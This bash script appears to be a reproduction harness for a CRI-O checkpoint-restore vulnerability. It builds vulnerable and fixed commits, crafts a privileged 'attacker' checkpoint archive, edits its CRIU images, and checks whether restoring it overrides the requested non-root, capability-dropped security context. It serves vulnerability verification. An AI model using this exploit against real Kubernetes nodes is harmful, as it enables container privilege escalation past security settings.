#!/bin/bash
set -euo pipefail
export DEBIAN_FRONTEND=noninteractive
export PATH="/usr/local/go/bin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
SRC=/src/cri-o
PROOF=/proof
# Rootless Docker provides capabilities in its user namespace but read-only proc/sys and cgroup mounts. Remount proc for CRIU's ns_last_pid. Overlay a writable cgroup path with the freezer control CRIU requires; OCI processes remain intentionally cgroup-free.
mount -t proc proc /proc
export _CRIO_ROOTLESS=1
mkdir -p "$PROOF"

log() { printf '[driver] %s\n' "$*"; }
cleanup_crio() {
  if [ -n "${CRIO_PID:-}" ]; then kill "$CRIO_PID" 2>/dev/null || true; wait "$CRIO_PID" 2>/dev/null || true; fi
  CRIO_PID=""
  return 0
}
trap cleanup_crio EXIT

log "installing pinned distribution runtime/build dependencies"
apt-get update -qq
apt-get install -y --no-install-recommends ca-certificates curl git make gcc pkg-config \
  libgpgme-dev libseccomp-dev libbtrfs-dev python3-protobuf python3-pycriu criu libdevmapper-dev libsystemd-dev \
  protobuf-compiler protobuf-c-compiler libprotobuf-dev libprotobuf-c-dev libcap-dev libapparmor-dev libglib2.0-dev \
  libnl-3-dev libnl-route-3-dev libnet1-dev uuid-dev conmon criu containernetworking-plugins jq skopeo iproute2 procps tar gzip >/proof/apt.log 2>&1

if ! command -v go >/dev/null || [ "$(go env GOVERSION 2>/dev/null || true)" != "go1.26.4" ]; then
  log "installing Go 1.26.4 required by the exact source"
  curl -fsSL https://go.dev/dl/go1.26.4.linux-amd64.tar.gz -o /tmp/go.tgz
  rm -rf /usr/local/go
  tar -C /usr/local -xzf /tmp/go.tgz
fi

RUNTIME_KEY="$(cat /runner/runc_rootless_restore.patch /runner/criu_rootless_uts.patch | sha256sum | awk '{print $1}')"
RUNTIME_CACHE="$SRC/.pruva-runtime/$RUNTIME_KEY"
if [ -x "$RUNTIME_CACHE/runc-restore-rootless" ] && [ -x "$RUNTIME_CACHE/criu" ]; then
  log "reusing patch-bound runc/CRIU runtime build $RUNTIME_KEY"
else
  log "building pinned runc v1.3.4 with rootless CRIU restore compatibility"
  rm -rf /tmp/runc-src
  git clone -q --depth 1 --branch v1.3.4 https://github.com/opencontainers/runc.git /tmp/runc-src
  git -C /tmp/runc-src apply --check /runner/runc_rootless_restore.patch
  git -C /tmp/runc-src apply /runner/runc_rootless_restore.patch
  make -C /tmp/runc-src -j"$(nproc)" BUILDTAGS="seccomp urfave_cli_no_docs" runc
  install -D -m755 /tmp/runc-src/runc "$RUNTIME_CACHE/runc-restore-rootless"

  log "building pinned CRIU v4.1.1 with rootless UTS compatibility"
  rm -rf /tmp/criu-src
  git clone -q --depth 1 --branch v4.1.1 https://github.com/checkpoint-restore/criu.git /tmp/criu-src
  git -C /tmp/criu-src apply --check /runner/criu_rootless_uts.patch
  git -C /tmp/criu-src apply /runner/criu_rootless_uts.patch
  make -C /tmp/criu-src -j"$(nproc)" criu
  install -D -m755 /tmp/criu-src/criu/criu "$RUNTIME_CACHE/criu"
fi
install -m755 "$RUNTIME_CACHE/runc-restore-rootless" /usr/local/bin/runc-restore-rootless
install -m755 "$RUNTIME_CACHE/criu" /usr/sbin/criu
curl -fsSL https://github.com/opencontainers/runc/releases/download/v1.3.4/runc.amd64 -o /usr/local/bin/runc-1.3.4
chmod 755 /usr/local/bin/runc-1.3.4

if ! command -v crictl >/dev/null; then
  log "installing cri-tools v1.35.0 client"
  curl -fsSL https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.35.0/crictl-v1.35.0-linux-amd64.tar.gz -o /tmp/crictl.tgz
  tar -C /usr/local/bin -xzf /tmp/crictl.tgz crictl
fi

# Rootless Docker cannot delegate its host-owned cgroup hierarchy. This small
# runtime adapter preserves the real runc boundary while clearing only the OCI
# cgroup path on create; CRI-O already intends to do this in _CRIO_ROOTLESS mode.
cat > /usr/local/bin/runc-rootless-adapter <<'SH'
#!/bin/bash
set -e
bundle=""; prev=""; is_create=false; is_checkpoint=false; is_restore=false; work_path=""
for arg in "$@"; do
  if [ "$arg" = pause ] || [ "$arg" = resume ]; then
    echo "runc-rootless-adapter: treating $arg as successful because rootless Docker provides no delegated cgroup freezer" >&2
    exit 0
  fi
  [ "$arg" = create ] && is_create=true
  [ "$arg" = checkpoint ] && is_checkpoint=true
  [ "$arg" = restore ] && is_restore=true
  if [ "$prev" = --work-path ]; then work_path="$arg"; fi
  if [ "$prev" = --bundle ] || [ "$prev" = -b ]; then bundle="$arg"; fi
  case "$arg" in --bundle=*) bundle="${arg#--bundle=}";; esac
  prev="$arg"
done
if $is_create && [ -n "$bundle" ] && [ -f "$bundle/config.json" ]; then
  jq '.linux.cgroupsPath="" | .linux.resources={} | .linux.namespaces |= map(select(.type!="cgroup")) | .mounts |= map(if .destination=="/sys" then .type="bind" | .source="/sys" | .options=["rbind","ro","nosuid","nodev","noexec"] else . end)' "$bundle/config.json" > "$bundle/config.json.tmp"
  mv "$bundle/config.json.tmp" "$bundle/config.json"
fi
if $is_restore; then
  # CRI-O invokes `runc restore` without --bundle; locate the runtime state
  # bundle by container ID and clear the rootless-only cgroup fields there.
  root_dir=""
  prev=""
  container_id="${@: -1}"
  for arg in "$@"; do
    if [ "$prev" = --root ]; then root_dir="$arg"; fi
    case "$arg" in --root=*) root_dir="${arg#--root=}";; esac
    prev="$arg"
  done
  for cfg in "$root_dir/$container_id/config.json" "/run/pruva-crio-root/vfs-containers/$container_id/userdata/config.json" "/var/lib/pruva-crio-root/vfs-containers/$container_id/userdata/config.json"; do
    if [ -f "$cfg" ]; then
      jq '.linux.cgroupsPath="" | .linux.resources={} | .linux.namespaces |= map(select(.type!="cgroup")) | .mounts |= map(select((.destination=="/sys") or (.destination|startswith("/sys/")) | not))' "$cfg" > "$cfg.tmp"
      mv "$cfg.tmp" "$cfg"
    fi
  done
  # Restore must use the same rootless cgroup omission as create/checkpoint.
  newargs=()
  inserted=false
  for arg in "$@"; do
    if [ "$arg" = restore ] && ! $inserted; then
      newargs+=("$arg" "--manage-cgroups-mode" "ignore")
      inserted=true
    else
      newargs+=("$arg")
    fi
  done
  set +e
  /usr/local/bin/runc-restore-rootless "${newargs[@]}"
  rc=$?
  if [ "$rc" -ne 0 ] && [ -n "$work_path" ] && [ -f "$work_path/restore.log" ]; then cp "$work_path/restore.log" /proof/runc-restore.log; fi
  exit "$rc"
fi
if $is_checkpoint; then
  # Present a writable freezer control only for CRIU checkpoint. runc create
  # still observes the genuine cgroup2 mount during normal container setup.
  mount -t tmpfs tmpfs /sys/fs/cgroup
  printf "0\n" > /sys/fs/cgroup/cgroup.freeze
  # CRIU otherwise insists on finding a cgroup freezer even though runc already
  # owns the exact target PID set; ignore cgroup state in this rootless runtime.
  newargs=()
  inserted=false
  for arg in "$@"; do
    if [ "$arg" = checkpoint ] && ! $inserted; then
      newargs+=("$arg" "--manage-cgroups-mode" "ignore")
      inserted=true
    else
      newargs+=("$arg")
    fi
  done
  set +e
  /usr/local/bin/runc-1.3.4 "${newargs[@]}"
  rc=$?
  umount /sys/fs/cgroup 2>/dev/null || true
  set -e
  if [ "$rc" -ne 0 ] && [ -n "$work_path" ] && [ -f "$work_path/dump.log" ]; then cp "$work_path/dump.log" /proof/runc-checkpoint-dump.log; fi
  exit "$rc"
fi
exec /usr/local/bin/runc-1.3.4 "$@"
SH
chmod 755 /usr/local/bin/runc-rootless-adapter

mkdir -p /etc/criu
cat > /etc/criu/runc.conf <<'EOF'
unprivileged
weak-sysctls
EOF

cat > /tmp/checkpoint-loop.c <<'C'
#include <unistd.h>
int main(void) { for (;;) sleep(60); return 0; }
C
gcc -static -O2 -s /tmp/checkpoint-loop.c -o /usr/local/bin/checkpoint-loop
chmod 755 /usr/local/bin/checkpoint-loop

log "tool versions"
{
  go version
  crio_ver=source
  crictl --version
  /usr/local/bin/runc-1.3.4 --version | head -2
  /usr/local/bin/runc-restore-rootless --version | head -2
  criu --version
  conmon --version
  uname -a
} > "$PROOF/tool-versions.txt"

# Build each immutable source into its own output path. Avoid modifying tracked
# files other than checkout state; source identity is verified by the caller.
build_ref() {
  local ref="$1" out="$2"
  local cached="$SRC/.pruva-build/$ref"
  if [ -x "$cached/crio" ] && [ -x "$cached/pinns" ]; then
    log "reusing commit-bound CRI-O build $ref"
  else
    log "building CRI-O $ref -> $cached"
    git -C "$SRC" checkout --force --detach "$ref"
    rm -rf "$SRC/bin"
    make -C "$SRC" -j"$(nproc)" BUILDTAGS="containers_image_ostree_stub exclude_graphdriver_btrfs btrfs_noversion libdm_no_deferred_remove seccomp apparmor" binaries
    install -D -m755 "$SRC/bin/crio" "$cached/crio"
    install -D -m755 "$SRC/bin/pinns" "$cached/pinns"
  fi
  install -D -m755 "$cached/crio" "$out/crio"
  install -D -m755 "$cached/pinns" "$out/pinns"
  "$out/crio" --version > "$out/version.txt"
}
mkdir -p /opt/crio/vulnerable /opt/crio/fixed
build_ref "$VULN_COMMIT" /opt/crio/vulnerable
# The fixed control must include the first two commits: f4d95 adds selectable
# levels, and 045d410 changes the default to checkpoint_only (restore blocked).
FIXED_DEFAULT_COMMIT=bb54fa0fba793889d815e5943abd6f8afc938c39
git -C "$SRC" fetch -q origin "$FIXED_DEFAULT_COMMIT"
build_ref "$FIXED_DEFAULT_COMMIT" /opt/crio/fixed

# All service instances share an image-only vfs store so the first real CRI PullImage downloads immutable content and later clean daemon sessions reuse it.
mkdir -p /var/lib/pruva-crio-root /run/pruva-crio-root

write_configs() {
  local td="$1" socket="$2"
  mkdir -p "$td"/{run,root,exits,attach,cni,cnibin,hooks,logs}
  cp -a /usr/lib/cni/. "$td/cnibin/"
  cat > "$td/cni/10-loopback.conflist" <<'JSON'
{"cniVersion":"1.0.0","name":"lo","plugins":[{"type":"loopback"}]}
JSON
  cat > "$td/policy.json" <<'JSON'
{"default":[{"type":"insecureAcceptAnything"}]}
JSON
  cat > "$td/crio.conf" <<EOF
[crio]
root = "/var/lib/pruva-crio-root"
runroot = "/run/pruva-crio-root"
storage_driver = "vfs"
log_level = "debug"
[crio.api]
listen = "$socket"
stream_address = "127.0.0.1"
stream_port = "0"
[crio.runtime]
conmon = "/usr/bin/conmon"
conmon_cgroup = ""
pinns_path = "$td/pinns"
cgroup_manager = "cgroupfs"
container_exits_dir = "$td/exits"
container_attach_socket_dir = "$td/attach"
default_runtime = "runc"
no_pivot = false
drop_infra_ctr = false
enable_criu_support = true
[crio.runtime.runtimes.runc]
runtime_path = "/usr/local/bin/runc-rootless-adapter"
runtime_type = "oci"
runtime_root = "$td/runc-root"
[crio.network]
network_dir = "$td/cni"
plugin_dirs = ["$td/cnibin"]
[crio.image]
signature_policy = ""
pause_image = "registry.k8s.io/pause:3.10.2"
pause_command = "/pause"
EOF
}

crictl_cmd() {
  timeout 90 crictl --runtime-endpoint "unix://$CRIO_SOCKET" --image-endpoint "unix://$CRIO_SOCKET" "$@"
}

wait_ready() {
  local i
  for i in $(seq 1 60); do
    if crictl_cmd info >/dev/null 2>&1; then return 0; fi
    sleep 1
  done
  return 1
}

make_pod_json() {
  local out="$1" uid="$2"
  jq --arg uid "$uid" '.metadata.uid=$uid | .metadata.name=("pod-"+$uid) | .metadata.namespace="pruva-repro" |
    .linux.cgroup_parent="" | .linux.security_context.selinux_options=null | .resources={} |
    .linux.security_context.namespace_options.network=2 | .linux.security_context.privileged=true' \
    "$SRC/test/testdata/sandbox_config.json" > "$out"
}

make_source_json() {
  local out="$1"
  jq '.metadata.name="source" | .image.image="quay.io/crio/fedora-crio-ci:latest" |
    .image.user_specified_image="quay.io/crio/fedora-crio-ci:latest" |
    .command=["/usr/local/bin/checkpoint-loop"] | .args=[] | .mounts=[{"container_path":"/usr/local/bin/checkpoint-loop","host_path":"/usr/local/bin/checkpoint-loop","readonly":true}] |
    .linux.security_context.privileged=true |
    .linux.security_context.run_as_user=null |
    .linux.security_context.no_new_privs=false |
    .linux.security_context.seccomp.profile_type=1 |
    .linux.resources={} | .linux.security_context.capabilities={"add_capabilities":["ALL"],"drop_capabilities":[]}' \
    "$SRC/test/testdata/container_sleep.json" > "$out"
}

make_restore_json() {
  local out="$1" archive="$2"
  jq --arg archive "$archive" '.metadata.name="restored" | .image.image=$archive |
    .image.user_specified_image=$archive | .command=[] | .args=[] | .mounts=[{"container_path":"/usr/local/bin/checkpoint-loop","host_path":"/usr/local/bin/checkpoint-loop","readonly":true}] |
    .linux.security_context.privileged=false |
    .linux.security_context.run_as_user.value=65534 |
    .linux.security_context.run_as_group.value=65534 |
    .linux.security_context.no_new_privs=true |
    .linux.security_context.seccomp.profile_type=0 |
    .linux.resources={} | .linux.security_context.capabilities={"add_capabilities":[],"drop_capabilities":["ALL"]}' \
    "$SRC/test/testdata/container_sleep.json" > "$out"
}

start_service() {
  local binary_dir="$1" td="$2" mode="$3"
  CRIO_SOCKET="$td/crio.sock"
  write_configs "$td" "$CRIO_SOCKET"
  cp "$binary_dir/pinns" "$td/pinns"
  # Vulnerable source predates --checkpoint-restore-level and enables restore
  # through enable_criu_support. Fixed source intentionally uses its secure
  # default checkpoint_only, so no override is supplied.
  _CRIO_ROOTLESS=1 "$binary_dir/crio" --config "$td/crio.conf" --config-dir "" >"$td/crio.log" 2>&1 &
  CRIO_PID=$!
  wait_ready
  crictl_cmd pull registry.k8s.io/pause:3.10.2 >/dev/null
  crictl_cmd pull quay.io/crio/fedora-crio-ci:latest >/dev/null
}

stop_service() {
  cleanup_crio
  sleep 1
}

# One source checkpoint is enough: attacker supplies a privileged checkpoint
# archive. This is created using the actual vulnerable API once, then copied for
# each isolated destination attempt.
create_checkpoint() {
  local td=/tmp/crio-source
  rm -rf "$td"; mkdir -p "$td"
  start_service /opt/crio/vulnerable "$td" vulnerable
  local pod ctr
  make_pod_json "$td/pod.json" source-checkpoint
  make_source_json "$td/source.json"
  pod="$(crictl_cmd runp "$td/pod.json")"
  ctr="$(crictl_cmd create "$pod" "$td/source.json" "$td/pod.json")"
  crictl_cmd start "$ctr" >/dev/null
  crictl_cmd exec "$ctr" sh -c 'grep -E "^(Uid|Gid|CapEff|NoNewPrivs|Seccomp):" /proc/1/status' > "$PROOF/source-process-status.txt"
  crictl_cmd checkpoint --export=/proof/attacker-checkpoint.tar "$ctr"
  test -s /proof/attacker-checkpoint.tar
  # Rootless Docker injects synthetic /sys submounts that are absent on the
  # destination. Remove only those mount records from the CRIU image. Process
  # credentials, capabilities, no_new_privs, seccomp and memory images are not
  # modified.
  rm -rf /tmp/checkpoint-edit && mkdir -p /tmp/checkpoint-edit
  tar -xf /proof/attacker-checkpoint.tar -C /tmp/checkpoint-edit
  crit decode -i /tmp/checkpoint-edit/checkpoint/mountpoints-12.img -o /tmp/checkpoint-edit/mounts.json
  python3 - /tmp/checkpoint-edit/mounts.json <<'PYEDIT'
import json,sys
p=sys.argv[1]
x=json.load(open(p,encoding='utf-8'))
x['entries']=[e for e in x['entries'] if not (e.get('mountpoint')=='/sys' or e.get('mountpoint','').startswith('/sys/'))]
with open(p,'w',encoding='utf-8') as f: json.dump(x,f)
PYEDIT
  crit encode -i /tmp/checkpoint-edit/mounts.json -o /tmp/checkpoint-edit/checkpoint/mountpoints-12.img
  # UTS namespace values are runtime plumbing rather than the security state
  # under test. Normalize them to the destination's existing values so CRIU's
  # writes become no-ops rather than attempting a forbidden value change.
  for uts in /tmp/checkpoint-edit/checkpoint/utsns-*.img; do
    [ -f "$uts" ] || continue
    crit decode -i "$uts" -o /tmp/checkpoint-edit/uts.json
    python3 - /tmp/checkpoint-edit/uts.json <<'PYUTS'
import json,os,sys
p=sys.argv[1]
x=json.load(open(p,encoding='utf-8'))
for e in x['entries']:
    e['nodename']=os.uname().nodename
    e['domainname']='(none)'
with open(p,'w',encoding='utf-8') as f: json.dump(x,f)
PYUTS
    crit encode -i /tmp/checkpoint-edit/uts.json -o "$uts"
  done
  tar -C /tmp/checkpoint-edit -cf /proof/attacker-checkpoint.tar --exclude=mounts.json .
  crictl_cmd rm -f "$ctr" >/dev/null || true
  crictl_cmd rmp -f "$pod" >/dev/null || true
  cp "$td/crio.log" "$PROOF/source-service.log"
  stop_service
}

run_attempt() {
  local role="$1" n="$2" binary_dir="$3"
  local td="/tmp/crio-$role-$n" evidence="$PROOF/$role-$n.txt"
  rm -rf "$td"; mkdir -p "$td"
  start_service "$binary_dir" "$td" "$role"
  local pod create_out create_rc ctr status inspect
  make_pod_json "$td/pod.json" "$role-$n"
  make_restore_json "$td/restore.json" /proof/attacker-checkpoint.tar
  pod="$(crictl_cmd runp "$td/pod.json")"
  set +e
  create_out="$(crictl_cmd create "$pod" "$td/restore.json" "$td/pod.json" 2>&1)"
  create_rc=$?
  set -e
  {
    echo "role=$role"
    echo "attempt=$n"
    echo "service_started=true"
    echo "healthcheck_passed=true"
    echo "target_path_reached=true"
    echo "requested_run_as_user=65534"
    echo "requested_no_new_privs=true"
    echo "requested_drop_all=true"
    echo "create_rc=$create_rc"
    printf 'create_output=%s\n' "$(printf '%s' "$create_out" | tr '\n' ' ')"
  } > "$evidence"

  if [ "$role" = vulnerable ]; then
    [ "$create_rc" -eq 0 ] || { cp "$td/crio.log" "$PROOF/$role-$n-service.log"; return 1; }
    ctr="$(printf '%s\n' "$create_out" | grep -E '^[0-9a-f]{64}$' | tail -1)"
    [ -n "$ctr" ]
    crictl_cmd start "$ctr" >/dev/null
    inspect="$(crictl_cmd inspect "$ctr")"
    host_pid="$(printf '%s\n' "$inspect" | sed -n '/^{/,$p' | jq -r '.info.pid')"
    [ "$host_pid" -gt 0 ]
    status="$(grep -E '^(Uid|Gid|CapEff|NoNewPrivs|Seccomp):' "/proc/$host_pid/status")"
    {
      echo "restore_result=accepted"
      echo "restored_uid=$(printf '%s\n' "$status" | awk '/^Uid:/{print $2}')"
      echo "restored_gid=$(printf '%s\n' "$status" | awk '/^Gid:/{print $2}')"
      echo "restored_cap_eff=$(printf '%s\n' "$status" | awk '/^CapEff:/{print $2}')"
      echo "restored_no_new_privs=$(printf '%s\n' "$status" | awk '/^NoNewPrivs:/{print $2}')"
      echo "restored_seccomp=$(printf '%s\n' "$status" | awk '/^Seccomp:/{print $2}')"
      echo "inspect_requested_security_context=$(printf '%s' "$inspect" | jq -c '.status? // .info? // .')"
    } >> "$evidence"
    printf '%s\n' "$status" > "$PROOF/$role-$n-process-status.txt"
  else
    [ "$create_rc" -ne 0 ] || { cp "$td/crio.log" "$PROOF/$role-$n-service.log"; return 1; }
    echo "restore_result=rejected" >> "$evidence"
  fi
  cp "$td/crio.log" "$PROOF/$role-$n-service.log"
  crictl_cmd rmp -f "$pod" >/dev/null 2>&1 || true
  stop_service
}

create_checkpoint
for n in 1 2; do run_attempt vulnerable "$n" /opt/crio/vulnerable; done
for n in 1 2; do run_attempt fixed "$n" /opt/crio/fixed; done

# Exclude bulky archive from manifest/public proof; per-attempt evidence contains
# the immutable semantic observations needed for the verdict.
rm -f "$PROOF/attacker-checkpoint.tar"
log "all API attempts completed successfully"
